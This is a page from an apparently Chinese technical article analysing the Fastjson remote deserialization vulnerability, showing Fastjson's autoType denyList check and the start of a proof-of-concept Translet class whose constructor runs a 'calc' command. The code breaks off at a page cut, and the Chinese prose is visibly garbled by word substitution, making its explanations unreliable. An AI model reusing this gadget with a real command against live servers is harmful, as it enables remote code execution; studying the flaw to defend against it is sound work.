Fastjson远程反序列化程序验证的构造和分析

throw new JSONException("autoType is not support. " + typeName);

}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);

if (clazz == null) {

clazz = deserializers.findClass(typeName);

}

if (clazz != null) {

if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());

}

return clazz;

}

核心部分就是denyList的处理过程，遍历denyList，如不雅惹人的库以denyList中某个deny打头，就会抛出异常，中断运行。

下面是一个法度榜样验证的代码：

import com.sun.org.apache.xalan.internal.xsltc.DOM; 
import com.sun.org.apache.xalan.internal.xsltc.TransletException; 
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 
  
import java.io.IOException; 
  
public class Test extends AbstractTranslet { 
    public Test() throws IOException { 
        Runtime.getRuntime().exec("calc"); 
    } 
  
    @Override 
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { 
    } 
  
    @Override 
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { 
  
    } 
  
    public static	
			 2/7   首页 上一页 1 2 3 4 5 6 下一页 尾页	
			

　　推荐阅读
　　提高Linux安全性：14项检查建立安全的Linux服务器
            
            1. 记录主机信息每当您正在应用新的Linux主机进行安然加强时，您须要创建一个文档并记录本文档中列出的项目，工作完成后，您将须要检查这些项目。别的，在开端时该文档，您须要记录有关Li>>>详细阅读


本文标题：Fastjson远程反序列化程序验证的构造和分析
地址：http://www.17bianji.com/lsqh/35009.html
 1/2    1